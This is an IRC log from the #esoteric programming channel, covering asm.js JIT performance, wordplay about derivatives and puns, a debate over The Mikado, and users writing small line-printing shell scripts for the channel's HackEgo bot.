JIT, not a standard interpreter (I already tried that with hand-written asm.js and got pretty good performance from it - I'm JITing things to try and improve on that.). If someone had a guide to asm.js efficiency in there, then that would be useful. 14:17:27 Basically, of the 3, performance seems to be so far: [asm.js interpreter] > [Javascript-compiling JIT] > [asm.js-compiling JIT] 14:18:42 wait so you're regularly JITing blocks of bytepusher into asm.js? yeah i expect it's the startup overhead then 14:19:01 Well, at first there's obviously segment compilation overhead 14:19:10 But then there are times when it's slow and it's not compiling any segments 14:21:47 For example, during the initial startup phase, when it's generating tables (the program's 32k) it goes through the "base set" initialization, and that's relatively fast with not much segment compilation, followed by the first page of the "banks" initialization, which does tons of segment compilation, followed by the rest which does almost none. 14:22:20 Then, for the first few letters it displays on screen it's still compiling bits of the font renderer... 14:22:36 But after that, it shouldn't be as slow as it ends up being. 14:22:50 Compiled segments value drops. 14:28:16 Ok, uploaded new version, this time it has "CS" and "F" stats (CS is how many segments it's compiled so far this frame, F is which frame the VM is on.) 14:29:44 It's a bit telling that the asm.js version is laggy during the first 4 seconds while the non-asm.js version isn't as laggy, even though CS:0 for all but a few frames... 14:29:51 (both are JITs) 14:30:16 I must be making a very serious mistake in how I write my asm.js... 14:52:12 -!- Cale has quit (Quit: Leaving). 14:52:51 -!- Cale_ has joined. 14:55:37 -!- Cale_ has changed nick to Cale. 14:58:18 -!- `^_^v has joined. 15:03:13 -!- IvanSiber has left. 15:04:24 -!- spiette has joined. 15:24:58 -!- jaboja has quit (Ping timeout: 244 seconds). 15:50:03 -!- adu has joined. 16:06:52 -!- lambda-11235 has joined. 16:10:57 -!- coppro has quit (Remote host closed the connection). 16:32:20 -!- Reece` has joined. 16:55:01 -!- xkapastel has joined. 16:57:48 -!- Phantom_Hoover has quit (Remote host closed the connection). 17:02:08 -!- Phantom_Hoover has joined. 17:25:15 `? pokedex 17:26:02 pokedex? ¯\(°​_o)/¯ 17:26:07 `? pokédex 17:26:17 pokédex? ¯\(°​_o)/¯ 17:27:40 `? evolving 17:27:43 evolving? ¯\(°​_o)/¯ 17:27:48 `? super effective 17:27:50 super effective? ¯\(°​_o)/¯ 17:27:53 `? critical hit 17:27:56 critical hit? ¯\(°​_o)/¯ 17:28:25 <\oren\> `? ポケモン図鑑 17:28:29 ​ポケモン図鑑? ¯\(°​_o)/¯ 17:28:32 -!- Koen_ has quit (Remote host closed the connection). 17:31:42 -!- Koen_ has joined. 17:34:39 hmm a supercritical hit 17:35:55 <\oren\> is that the same as a its super effective critical hit? 17:36:15 Since installing Unifont, my ability to see the symbols you post has increased by orders of magnitude. My ability to understand them has not. 17:51:01 \ 17:51:13 \oren\: I was looking for a connection to supercritical fluids 18:55:50 -!- Koen_ has quit (Remote host closed the connection). 18:58:49 -!- jaboja has joined. 19:06:44 -!- lambda-11235 has quit (Read error: Connection reset by peer). 19:14:28 -!- hwpplayer1 has joined. 19:15:35 -!- hppavilion[1] has joined. 19:19:03 -!- lambda-11235 has joined. 19:21:31 From the Wikipedia article on "Computus", the family of algorithms one uses to calculate the date of Easter because one's church is a massive pain in the ass and doesn't just choose a fixed, symbolic date: 19:21:33 "The last limit arises from the fact that the crucifixion was considered to have happened on the fourteenth (the eve of the Passover) and the resurrection therefore on the sixteenth." 19:21:54 Um... Christianity? Are you sure you can really math? 19:32:09 -!- Koen_ has joined. 19:39:02 Instead of "The more you know", we (the population of the internet) should use "the less you look like a dumbass" 19:41:35 -!- `^_^v has quit (Quit: This computer has gone to sleep). 19:41:57 -!- `^_^v has joined. 19:49:59 -!- lynn_ has joined. 19:50:10 -!- lynn_ has quit (Client Quit). 20:00:11 Why not use both? 20:00:19 that would make a whole sentence! 20:03:51 in two different ways 20:03:57 -!- `^_^v has quit (Quit: This computer has gone to sleep). 20:05:30 -!- `^_^v has joined. 20:05:56 -!- digitalcold has quit (Read error: Connection reset by peer). 20:06:56 -!- digitalcold has joined. 20:12:37 -!- lambda-11235 has quit (Read error: Connection reset by peer). 20:13:36 https://www.reddit.com/r/retiredgif is amazing 20:14:13 -!- lambda-11235 has joined. 20:43:38 -!- lambda-11235 has quit (Read error: Connection reset by peer). 20:47:43 -!- hwpplayer1 has left. 20:49:44 -!- lambda-11235 has joined. 20:50:29 -!- Moon_ has joined. 20:50:36 hi 20:58:08 OMG 20:58:13 Physics has a thing called "Sparticles" 20:58:20 .- 20:58:25 well then 21:14:22 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 21:20:12 -!- Koen__ has joined. 21:23:00 -!- Koen_ has quit (Ping timeout: 272 seconds). 21:27:07 -!- nycs has joined. 21:27:39 -!- `^_^v has quit (Ping timeout: 276 seconds). 21:35:21 -!- shachaf has set topic: The intradisciplinary hub of solidity matrices, esoteric programming language design, and font forging | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf. 21:35:33 `welcome shachaf 21:35:54 `bye 21:36:11 `snackego 21:36:25 shachaf: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 21:36:25 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: bye: not found 21:36:27 ​:) 21:38:45 At some point someone ought to port a text adventure to HackEgo... 21:39:11 That is, make it save on input, and reload when given a line of input 21:40:46 -!- hppavilion[1] has joined. 21:45:47 <\oren\> i once was a font forager now am a font forger 21:48:08 `? font 21:48:11 ​#esoteric bitmap fonts include: \oren\'s font http://www.orenwatson.be/fontdemo.htm , lifthrasiir's font https://github.com/lifthrasiir/unison/ https://lifthrasiir.github.io/unison/sample.png , b_jonas's font http://www.math.bme.hu/~ambrus/pu/fecupboard20-c.pcf.gz 21:48:22 wasn't there a fourth one? 21:48:37 -!- Reece` has quit (Ping timeout: 260 seconds). 21:49:29 gamemanj, hw about me? 21:49:32 -!- Cimmerian888 has joined. 21:49:32 i can do it 21:49:48 ? 21:50:05 [16:38] At some point someone ought to port a text adventure to HackEgo... [16:39] That is, make it save on input, and reload when given a line of input 21:50:13 Well, it would be fun, if you want to ^.^ (though it might end up playing like Twitch Plays ) 21:50:17 \oren\: by the way, I just checked http://www.orenwatson.be/fontdemo.htm , and strangely the webfont doesn't show up for me. but it's probably a problem on my side again 21:50:37 b_jonas: I can confirm the font is visible, and I do not have the font installed. 21:50:37 ill allow save selection for ease of use :P 21:50:43 gamemanj: thanks 21:50:52 However, there is one major issue with the font... 21:50:59 ⑨ appears incorrectly. 21:51:35 is that a be- wait thats infinity, i play dwarf fortress too much 21:52:34 Moon_: ⑨ is not infinity... 21:52:43 oh, what is it? 21:53:16 * gamemanj disappeared in a puff of smoke (Ping timeout: 256 seconds) 21:53:31 <\oren\> gamemanj: wait did i nitmove those yet? shit i must[have firgotten 21:54:17 <\oren\> uhhh... how did he get it to say that? 21:54:35 `wisdom 21:54:36 `wisdom 21:54:37 `wisdom 21:54:38 oren: ? 21:54:38 `wisdom 21:54:39 `wisdom 21:54:48 shachaf, calm down >_> 21:54:59 no need to spam hackego 21:55:09 <\oren\> it said gamemanj disappeared in a puff of smoke ping timeout 21:55:10 oren: Aha. Your chat client doesn't colour the difference between quits and /me. 21:55:24 oren: I can tell simply by the fact you were fooled by it! 21:56:13 No output. 21:56:27 nœd//Nœd is Norwegian for distress. 21:56:27 boring// 21:56:27 brick//Brick goes in brain. The statutory punishment for perpetrators of brainfuck derivatives. 21:56:28 did//did: didn't 21:56:31 * Moon_ Moon_ [4c01498a@gateway/web/freenode/ip.76.1.73.138] has quit [Bia] 21:56:37 <\oren\> my crap ssh app doesnt support the advqnced colors 21:56:43 oh 21:56:44 woops 21:56:47 i made a mistake 21:56:50 wow 21:56:54 i ruined my chance 21:57:10 <\oren\> im on my phone right now 21:57:20 what brand? 21:57:37 actually: what os/ 21:57:39 <\oren\> android samsung galaxy lte 21:58:01 ok: termux -> weechat -> #esoteric 21:58:15 thats the esoteric way :P 21:59:40 <\oren\> i wish i had a physical keybiatd on this phone 21:59:58 termux is a terminal emulator 22:00:01 -!- gamemanj has quit (Ping timeout: 240 seconds). 22:00:09 <\oren\> then i could type with less mistakes 22:00:14 lol 22:02:43 <\oren\> ifeally it would have a full 104 key keyboard and flip open 22:06:13 and a d key that's exactly where you need it? 22:07:13 <\oren\> yed 22:07:41 <\oren\> aarfg 22:07:47 -!- `^_^v has joined. 22:07:57 -!- nycs has quit (Ping timeout: 244 seconds). 22:07:58 <\oren\> aaaaaaaaaasqaqqaaaaaaaaaasassaaaaaassaaaaaqaq 22:08:34 -!- Cimmerian888 has quit (Quit: Textual IRC Client: www.textualapp.com). 22:16:11 -!- adu has quit (Quit: adu). 22:27:31 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 22:31:00 Mooooooooooooooooon! 22:32:59 -!- Quintopia has changed nick to quintopia. 22:36:52 -!- Nithogg_ has quit (Ping timeout: 252 seconds). 22:39:20 -!- Nithogg_ has joined. 22:41:07 -!- adu has joined. 22:51:15 -!- Akaibu has quit (Quit: Connection closed for inactivity). 23:01:18 -!- Sgeo has joined. 23:10:45 -!- boily has joined. 23:12:20 -!- hppavilion[1] has joined. 23:13:10 Obviously, dx/dy = x/y 23:13:13 * hppavilion[1] ducks 23:14:30 Unless d = 0 23:14:51 shachaf: Well yeah, but we don't talk about edge cases 23:14:58 What is this, math!? 23:16:05 I have a very fast edge detection algorithm. 23:16:20 If the first time derivative of a changing position is its velocity and the second is acceleration, what's the third time derivative? 23:16:21 It's very accurate, except in edge cases. 23:16:32 My guess is that it's the change in acceleration 23:16:40 `? jerk 23:16:41 Jerk is the integral of snap. 23:17:55 Oh, it was explained in literally the very next sentence 23:17:57 And it's jerk 23:18:00 -!- spiette has quit (Quit: :qa!). 23:18:06 Which shachaf was trying to explain 23:18:10 or are you the jerk here 23:18:12 oh snap 23:18:24 (that's what the kids say these days, right?) 23:18:49 And let me guess, snap is the change in jerk? 23:19:00 shachaf: Bearing says that occasionally, but nobody else 23:19:28 But what's the negative first derivative of a changing position? 23:19:39 Oh wait, negative derivatives are probably integrals 23:19:42 So... 23:19:49 What's the integral of a changing position? 23:19:56 oh man, you read the spoilers 23:19:58 hppavellon[1]. have you discovered the wonderful world of fractional derivatives? 23:20:03 you'd have more fun if you didn't read the spoilers 23:20:09 -!- `^_^v has quit (Quit: This computer has gone to sleep). 23:20:22 boily: OH MY GOD READING THAT MADE BE ORGASM 23:20:46 (In the least disturbing way possible) 23:21:01 (Which is still probably pretty disturbing) 23:21:09 shachaf: What spoilers? 23:21:15 shachaf: I didn't read any spoilers yet 23:21:39 hppavilion[1]: imagine, Morgan Freeman doing an ASMR video about derivatives. 23:21:49 * hppavilion[1] faints 23:21:59 helloily 23:22:04 * hppavilion[1] later wakes up to find that his brain is completely depleted of endorphines 23:22:06 quinthellopia. 23:22:40 shachaf: Seriously, what are the spoilers? 23:22:43 hppavilion[1]: absition 23:23:03 then absity, abseleration, abserk, ... 23:23:53 Yep, after jerk is jounce AKA snap 23:24:08 No spoilers. 23:24:14 then crackle, pop, lock, drop... 23:24:49 stop, roll... 23:25:18 Wikipedia stops at pop 23:26:43 boily: Let me guess 23:27:01 boily: There are imaginary derivatives, but they're useless in physics (as far as we know mwahahahahaha) 23:28:25 everything's useful in physics. physics is engineering, and engineering is the Essence of Life hth 23:29:30 boily: So are imaginary derivatives a thing? 23:29:41 I should probably read about fractional derivatives first though 23:30:45 i can't imagine what a 2D space with diff/int on some axis would even be about 23:30:59 Yep, it's a thing 23:31:23 quintopia: Oooh, nice 23:31:48 quintopia: Of course, 2-time is interesting too. 2,2-spacetime, perhaps? 23:32:00 http://jlms.oxfordjournals.org/content/s2-3/2/241.extract "Mellin transforms" I'm already lost 23:49:36 -!- oerjan has joined. 23:51:10 oerjan: There should be join messages in IRC. 23:51:19 So I could figure out what the dual of "Nite" is. 23:51:38 true. 23:52:28 I don't think join messages are good. I'd have to find the dual of a chicken. 23:52:46 Did you logread my CHICKEN message the other day? 23:52:51 -!- adu has quit (Quit: adu). 23:52:55 æhoily. 23:53:15 boily: do you manually the chickens? or script? 23:53:43 hellœrjan. 23:53:46 quintopia: manually. 23:53:51 it's a craft! an art! 23:54:26 chickencraft, the game where you build things from chickens. 23:55:24 <\oren\> kerbal space poultry 23:55:26 such as the great pyramids of chicken itza. 23:55:58 * boily doublethwacks \oren\ and oerjan. 0.75 and 0.99 shachafs. 23:56:08 i could build an academic cs paper from chickens... 23:57:17 boily: hey i made two! 23:57:34 i guess the first might not really count as a pun. 23:58:01 `? mapole 23:58:03 A mapole is a thwackamacallit built from maple according to Canadian standards. The army version includes a spork, a corkscrew and a moose whistle. A regulatory mapole measures 6' by 12 kg, ±0.5 inHg. 23:58:04 boily: 0.99? 23:58:11 -!- Phantom__Hoover has joined. 23:58:25 oerjan: I didn't count the first. 23:58:28 What precision do you measure with? 23:58:31 it's so hard to get above 1. i think he might consider it like the c of relativity. 23:58:53 shachaf: about that. 23:58:57 hmm, 6' by 12 kg? that doesn't sound possible to do two doublethwacks in a row without inducing severe exhaustion or broken radii in the thwacker 23:59:02 * boily flails around a gesture of precision 23:59:04 . o O ( so what i need is a _really_ tachy pun ) 23:59:18 boily: How many usual suspects would you say there are? 23:59:26 * boily *THWACKS* oerjan. 23:59:31 that was a good one :D 23:59:33 oerjan: that was only a 0.3 on the tachometer 23:59:40 quintopia: darn 23:59:58 shachaf: eh? 2016-06-03: 00:00:58 * quintopia steals some wibbledy-wobbledy chickens from boily 00:01:14 `? the usual suspects 00:01:16 There are 3.99 usual suspects in #esoteric, but they're usually rounded up. 00:01:51 shachaf: but who are they? you, oerjan, and ... who? 00:02:07 I never claimed to be among the usual suspects. 00:02:14 but you obviously are 00:02:21 -!- Phantom_Hoover has quit (Ping timeout: 276 seconds). 00:02:26 That depends on who's doing the suspecting. 00:02:42 * boily reverse-roundhose thwacks shachaf for calibration purposes 00:02:46 anyone would suspect you if the crime is punning 00:03:45 as they say you say "a good pun is its own risk" 00:04:00 What do they say about fun puns? 00:04:10 `? funpuns 00:04:11 funpuns fceø fbz fryyrev naq pbfcynlf Arcrgn Yrvwba ba jrrxraqf. Ur ungrf oryy crccref jvgu n cnffvba. Gur havg bs sha chaarel vf anzrq nsgre uvz. 00:04:22 `? shachaf 00:04:23 shachaf sprø som selleri and cosplays Nepeta Leijon on weekends. He hates bell peppers with a passion. The unit of fun punnery is named after him. 00:04:26 i think hppavilion[1] is also usually suspicious. 00:04:35 hppavilion[1] is also frightened. 00:04:36 oerjan: I DID NOTHING 00:04:51 hppavilion[1]: I KNEW IT 00:05:09 quintopia: I DID NOTHING WHEN DOING SOMETHING WOULD HAVE SAVED MILLIONS OF LIVES 00:05:10 boily: can you thwack hppavilion[1] for his failure to accomplish anything 00:05:12 hppavilion[1]: i didn't say i had proof 00:05:15 quintopia: Punning is a crime? 00:05:30 i just have 0.9 proof. 00:05:39 LIKE, LITERALLY ANYTHING 00:05:53 IT ACTUALLY TOOK MORE EFFORT NOT TO DO SOMETHING THAN TO DO IT, IF I'M BEING HONEST 00:05:55 * boily capitally swings his mapole at hppavilion[1] 00:05:58 My object all sublime, / I shall achieve in time -- / To let the punning fit the crime, / The punning fit the crime 00:06:25 OF COURSE, IS "DOING NOTHING" JUST DOING THE THING THAT TAKES THE LEAST EFFORT, THEREFOR MEANING THAT THE PREVIOUS STATEMENT IS INVALID? I DON'T KNOW, FRANK. I DON'T KNOW. 00:06:26 shachaf: well, no, but it does sometimes require apology: http://www.theguardian.com/uk-news/2016/apr/08/punning-police-say-sorry-egg-theft-appeal-lancashire 00:06:36 oerjan: Is that 45% ABV? 00:07:13 oerjan: i have 60 proof. want some? 00:07:29 Oh, right, I guess it's 0.45% ABV. 00:07:46 shachaf: is that a quote? 00:07:55 Which? 00:07:59 your poem 00:08:06 pretty close to one 00:08:11 It's from the Mikado. 00:08:14 http://themargins.net/anth/19thc/gilbert.html 00:08:15 ah. 00:08:28 therefore a racist quote 00:09:03 Is it? 00:11:50 shachaf: have you read that: https://www.reddit.com/r/WritingPrompts/comments/2786lw/wp_in_a_world_where_puns_are_illegal_one_man 00:14:36 -!- Moon_ has quit (Ping timeout: 250 seconds). 00:16:48 i've read that the mikado is not racist hth 00:17:00 quintopia: seems unremarkable to me hth 00:17:23 shachaf: as are all old reddit posts, yes 00:17:41 also that a japanese crown prince once was disappointed that it wasn't playing when he visited london, because they were afraid he'd be insulted. 00:18:41 oerjan; i read that it is racist hth 00:18:47 admittedly that was just now in this channel 00:18:56 shocking 00:19:54 as much as i like the mikado, i find it hard not to find it belittling of a culture. dressing white people up like they're japanese is hardly different from blackface is it? 00:23:34 -!- adu has joined. 00:24:00 -!- Koen__ has quit (Quit: Leaving...). 00:26:31 quintopia, well, like, there's some very significant context with blackface 00:27:08 you don't think european colonialism is significant context? 00:29:55 in... japan? 00:34:12 it's been a while since i've seen the play, but i get the sense the attitude of the british characters toward the "Japanese" characters was much like their attitude toward all those in nations they colonized 00:34:48 even the character names seem somewhat belittling 00:38:38 at what point in your history of the world do the british colonise japan 00:39:27 at what point in your history of this channel do i claim the british colonise japan 00:41:14 quintopia: are you confusing with madama butterfly, or something 00:42:42 i don't think i've ever seen madama butterfly. 00:42:50 is it good? 00:42:58 i dunno. i've seen neither :P 00:43:12 but afaiu there _are_ no british characters in the mikado. 00:45:12 I saw Madama Butterfly at the opera. it's one of the best. 00:45:46 oerjan: clearly it's been too long since i saw it 00:46:07 https://www.youtube.com/watch?v=0f1k14GQmNE 00:46:35 anyone know how to set the spellcheck for OO writer to british spelling? 00:46:45 `~. 00:46:57 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ~.: not found 00:48:25 i guess the names are belittling though. btw i don't think "titipu" is a possible japanese word, is it? 00:49:51 nor is peep-bo? 00:51:44 i think the premise is that it's a satire of british culture disguised as a very lazy charicature of japan 00:54:21 it definitely is that 00:55:07 *caricature 01:00:44 -!- fungot has quit (Ping timeout: 250 seconds). 01:02:56 FUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU 01:03:02 NGOT. 01:04:41 fizzie: IEUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÅAAAAAAAAAAAAAAAH! 01:10:03 * oerjan thinks solving this Towers puzzle was a little too backtracky. 01:18:01 <\oren\> I liked Madame Butterfly when I saw it at the four seasons. 01:18:59 <\oren\> My vocal music teacher got us cheap tickets and insisted that every guy who went wear a tux. 01:19:24 `` type more 01:19:27 more is /bin/more 01:19:32 <\oren\> I went to like 10 operas in high school. 01:19:36 Our interwebs went down for a moment there. 01:20:06 -!- fungot has joined. 01:21:26 fungot: o hai. 01:21:27 boily: by the way, what's srfi? i seem to have 01:21:32 . o O ( wearing a penguin suit sounds a bit harsh ) 01:21:35 fungot: you seem to do. 01:21:35 boily: " he's ordering a weak martini, and the 01:21:46 fungot: bartender refuses to give it? 01:21:47 boily: oh yea that makes much more sense, polish or perl..." 01:22:02 . o O ( a polish martini? with a gherkin floating in it? ) 01:22:44 polish or perish 01:24:06 * boily weakly thwacks oerjan in stereo, with deliberate movements and closeups [intentional] [unintelligible whispering] [scratching] [brush] [2:42] 01:25:31 * oerjan has a feeling he doesn't get some reference 01:26:19 * oerjan wonders if he should follow /r/outoftheloop 01:26:49 I'm watching ASMR videos. it's relaxing ^^ 01:30:47 `mkx bin/spore//echo 1 > /hackenv/tmp/spline; cat > /hackenv/tmp/spout; lines="$(wc -l /hackenv/tmp/spout)" | awk '{print $1}'; echo "$lines lines" 01:30:55 bin/spore 01:30:57 `mkx bin/spam//line="$(cat /hackenv/tmp/spline)"; sed -n "${line}p" /hackenv/tmp/spout; echo "$((line+1))" > /hackenv/tmp/spline 01:31:04 bin/spam 01:31:22 `` cat quotes | spore 01:31:25 ​ lines 01:31:31 oops 01:31:43 `spam 01:31:44 `spam 01:31:44 `spam 01:31:46 EgoBot just opened a chat session with me to say "bork bork bork" 01:31:58 Hmmm... My fingers and tongue seem to be as quick as ever, but my lips have definitely weakened... More practice is in order. 01:31:58 that's where I got it rocket launch facility gift shop 01:32:39 oh, uh, right 01:32:56 `mkx bin/spore//echo 1 > /hackenv/tmp/spline; cat > /hackenv/tmp/spout; lines="$(wc -l /hackenv/tmp/spout | awk '{print $1}')"; echo "$lines lines" 01:33:00 bin/spore 01:33:13 `` quote oerjan | spore 01:33:16 72 lines 01:33:17 `spam 01:33:18 `spam 01:33:18 6) what, you mean that wasn't your real name? Gosh, I guess it is. I never realized that. 01:33:19 `spam 01:33:19 14) oerjan: are you a man, if there weren't evil in this kingdom to you! you shall find bekkler! executing program. please let me go... put me out! he's really a tricycle! pass him! 01:33:20 17) In an alternate universe, ehird has taste 01:37:19 `spam 01:37:20 18) IN AN ALTERNATE UNIVERSE: In an alternate universe, I would say "In an alternate universe, ehird has taste" 01:37:35 `spam 01:37:36 22) PA ET ANNET UNIVERSET DER DE ENESTE PERSONEN OERJAN: sa jeg kan bare konkludere med at det er feil, eller er verden helt bonkers 01:37:51 `mkx bin/spore//echo 1 > /hackenv/tmp/spline; cat "${1-/dev/stdin}" > /hackenv/tmp/spout; lines="$(wc -l /hackenv/tmp/spout | awk '{print $1}')"; echo "$lines lines" 01:37:55 bin/spore 01:38:03 oerjan: bonkers? 01:40:39 `cat bin/rainbow 01:40:41 ​#!/usr/bin/env python \ import random \ import re \ w=raw_input() \ p=list('x'*len(w)+'C'*int((341-len(w))/3+1)) \ random.shuffle(p) \ p=list(re.sub('C+','C',''.join(p))) \ i=(c for c in w) \ print ''.join(i.next() if c=='x' else chr(3)+'%02d' % random.randrange(2,15) for c in ['C']+p) 01:40:46 `spore bin/rainbow 01:40:47 9 lines 01:40:48 `spam 01:40:49 `spam 01:41:04 ​#!/usr/bin/env python 01:41:04 import random 01:41:11 `spam 01:41:12 `spam 01:41:13 `spam 01:41:13 `spam 01:41:14 `spam 01:41:17 `spam 01:41:19 `spam 01:41:48 Hmm, maybe this thing is a little too spammy. 01:42:15 No output. 01:42:21 w=raw_input() 01:42:21 w=raw_input() 01:42:22 p=list('x'*len(w)+'C'*int((341-len(w))/3+1)) 01:42:22 w=raw_input() 01:42:24 random.shuffle(p) 01:42:25 random.shuffle(p) 01:42:48 i see no problems here 01:43:30 spam prints random lines from a spored thing? 01:43:54 It prints them in order, in principle. 01:44:10 `spore bin/wisdom 01:44:11 1 lines 01:44:21 fizzie didn't like \ newlines, I believe. 01:44:28 ah 01:44:32 So this is for fizzie, who probably likes spam much more. 01:44:59 Hmm. 01:46:46 `mkx bin/spam//line="$(cat /hackenv/tmp/spline)"; len="$(wc -l /hackenv/tmp/spout | awk '{print $1}')"; echo -n "$line/$len:"; sed -n "${line}p" /hackenv/tmp/spout; echo "$((line+1))" > /hackenv/tmp/spline 01:46:50 bin/spam 01:46:52 `spam 01:46:52 1/1:F="$(find wisdom -name "*$(echo "$1" | lowercase)*" -type f | shuf -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl 01:47:07 `` shuf quotes | spore 01:47:09 1280 lines 01:47:10 `spam 01:47:11 1/1280:* Phantom_Hoover wonders where the size of the compiled Linux kernel comes from. To comply with the GFDL, there's a copy of Wikipedia in there. 01:47:14 `spam 01:47:16 2/1280: Usually I'd use Rankine, but the fucking weather doesn't support it. 01:47:43 `mkx bin/spore//echo 1 > /hackenv/tmp/spline; cat "${1-/dev/stdin}" > /hackenv/tmp/spout; spam 01:47:45 bin/spore 01:47:50 `` shuf quotes | spore 01:47:52 1/1280: i had a dream just now where i was in a gymnasium and they had fire alarm pull stations but they also had a similarly shaped "call/cc alarm" which I think you were supposed to pull if you found a way to write call/cc (it was expected that people in this gymnasium would be doing a lot of programming in total dependently-typed languages) 01:47:54 `spam 01:47:55 2/1280: jesus, yes.. he was human and that is fantastic more than beeing able to speak with fish.. like seaman does 01:48:06 `spam 01:48:07 3/1280: oerjan: if the answer is no then it might as well be yes 01:48:51 There you go, one line saved. 01:50:35 Two lines. 01:51:55 `culprits bin/bin/bin 01:51:59 hppavilion[1] 01:52:03 `` rm -r bin/bin 01:52:06 No output. 01:52:10 `before 01:52:11 Wait, what does bin/bin/bin do again? 01:52:13 bin/bin/bin//echo *sigh* 01:52:25 Ah, yes 01:52:27 :( 01:52:30 Why'd you delete it? 01:52:35 Why was it there? 01:52:46 oerjan: bonkers? <-- i think google translate probably failed at that point. 01:52:50 `bin 01:52:50 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: bin: cannot execute: Is a directory 01:52:51 shachaf: To criticize people who make that stupid joke the same way I probably would 01:52:58 `gin 01:52:59 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: gin: not found 01:53:03 boily: it's all rather broken norwegian. 01:53:09 shachaf: you didn't delete it 01:53:12 `min 01:53:13 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: min: not found 01:53:16 `tin 01:53:17 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: tin: not found 01:53:17 `bin/bin/bin/bin/bin/echo hello, world 01:53:18 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/bin/bin/bin/bin/echo: No such file or directory 01:53:21 oerjan: ah, like broken French :D 01:53:22 hmm 01:53:34 I dunno 01:53:36 this is seriously messing up my terminal tdnh 01:53:39 (although i doubt GT is responsible for the missing accents...) 01:53:53 shachaf: What is messing up your terminal? 01:53:57 this 01:54:07 shachaf: "this"? 01:54:11 yes 01:54:14 Hmm, maybe this thing is a little too spammy. <-- you think? 01:54:25 `spam 01:54:27 4/1280:* Phantom_Hoover wonders where the size of the compiled Linux kernel comes from. To comply with the GFDL, there's a copy of Wikipedia in there. 01:54:30 That's awesome 01:54:34 oerjan: whoa whoa whoa, that was the testing phase 01:54:40 Obviously it's going to be spammy during testing. 01:54:51 i see no problems here <-- heh, genuine race conditions 01:55:05 oerjan: What, like the Mikado? 01:55:28 oerjan: Anyway if people are going to be doing tail -n +n etc. they might as well spore it. 01:55:56 `spam 01:55:57 5/1280: shachaf: wait, _you_ are in northumberland? No. whew we don't have room for more esolangers there. oerjan: Wait, *you* are in Northumberland? no Whew. We don't have room for more esolangers there. 01:56:07 We just need a command to merge a bunch of lines together HackEgo-style and wrap at the IRC line length limit. 01:58:58 `spam 01:58:59 6/1280: it's raining in newcastle, therefore the elliotts are distinct. boily's Newcastle Theorem. 01:59:13 I like that `spam tool :D 01:59:56 actually bonkers is probably used a bit in norwegian. 02:00:37 oerjan: What was the line length limit again? 02:00:42 I think you computed it once. 02:01:29 `spore bin/paste 02:01:30 1/12:#!/bin/bash 02:01:34 `spam 02:01:35 2/12:if [ "$1" ] && url "$1" 2>/dev/null # Save making a file when it already exists. 02:01:36 `spam 02:01:37 3/12:then 02:01:40 Oh, right. 02:01:46 `spam 02:01:47 4/12: true 02:01:50 `` type -a paste 02:01:51 paste is /hackenv/bin/paste \ paste is /usr/bin/paste 02:02:03 come on 02:02:05 -!- boily has quit (Quit: RIDGE CHICKEN). 02:02:09 `culprits bin/paste 02:02:25 tswett tswett oerjan oerjan elliott ais523 ais523 oerjan oerjan oerjan oerjan shachaf shachaf elliott elliott nitia 02:03:48 oerjan: Anyway if people are going to be doing tail -n +n etc. they might as well spore it. <-- ideally you'd merge into 350 byte chunks hth 02:04:05 oerjan: i already said that hth 02:04:59 Is 350 the number? 02:05:36 shachaf: i think i just answered your question before getting to it in backscroll hth 02:05:38 `` cat bin/paste | /usr/bin/paste -s -d␤ 02:05:39 ​#!/bin/bashâif [ "$1" ] && url "$1" 2>/dev/null # Save making a file when it already exists.then¤ trueâelse PASTENUM="$RANDOM"¤â mkdir -p $HACKENV/paste¤ url paste/paste."$PASTENUM"â cat -- "${1--}" > $HACKENV/paste/paste."$PASTENUM"fi 02:05:46 HackEgo: tdnh 02:07:11 `` cat bin/paste | tr '\n' '␤' 02:07:12 ​#!/bin/bashâif [ "$1" ] && url "$1" 2>/dev/null # Save making a file when it already exists.âthenâ trueâelseâ PASTENUM="$RANDOM"ââ mkdir -p $HACKENV/pasteââ url paste/paste."$PASTENUM"â cat -- "${1--}" > $HACKENV/paste/paste."$PASTENUM"âfiâ 02:07:19 HackEgo: you are not helping 02:08:19 `url bin/paste 02:08:21 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/paste 02:08:24 [wiki] [[Truth-machine]] https://esolangs.org/w/index.php?diff=47107&oldid=46694 * 172.249.47.98 * (-18) Golfier! 02:08:25 hth 02:08:46 oerjan: I'm trying to replace newlines in order to create the 350-byte chunks. 02:08:50 Hope that helps. 02:09:27 [wiki] [[Truth-machine]] https://esolangs.org/w/index.php?diff=47108&oldid=47107 * 172.249.47.98 * (+13) /* brainfuck */ 02:09:56 [wiki] [[Truth-machine]] https://esolangs.org/w/index.php?diff=47109&oldid=47108 * 172.249.47.98 * (+11) /* brainfuck */ 02:10:10 oerjan: By the way, I wonder whether rnooodl goes wrong with certain 4-byte UTF-8 characters that have the same continuation byte repeated three times. 02:10:16 [wiki] [[Truth-machine]] https://esolangs.org/w/index.php?diff=47110&oldid=47109 * 172.249.47.98 * (-13) /* brainfuck */ 02:11:44 shachaf: thausible. restrict it to ascii? 02:12:08 Well, there's no particularly good ASCII character for it. 02:12:22 the rnooodl. 02:12:29 And both of the commands I use replace newlines with a character, rather than a string. 02:12:32 Oh, that. 02:12:42 shachaf: why not just leave it as newline 02:12:48 I don't even know if it's processing characters or bytes. 02:12:52 oerjan: Then how will spam work? 02:12:59 Oh, I see. 02:13:04 oh hm 02:13:07 You're suggesting that spam should never work 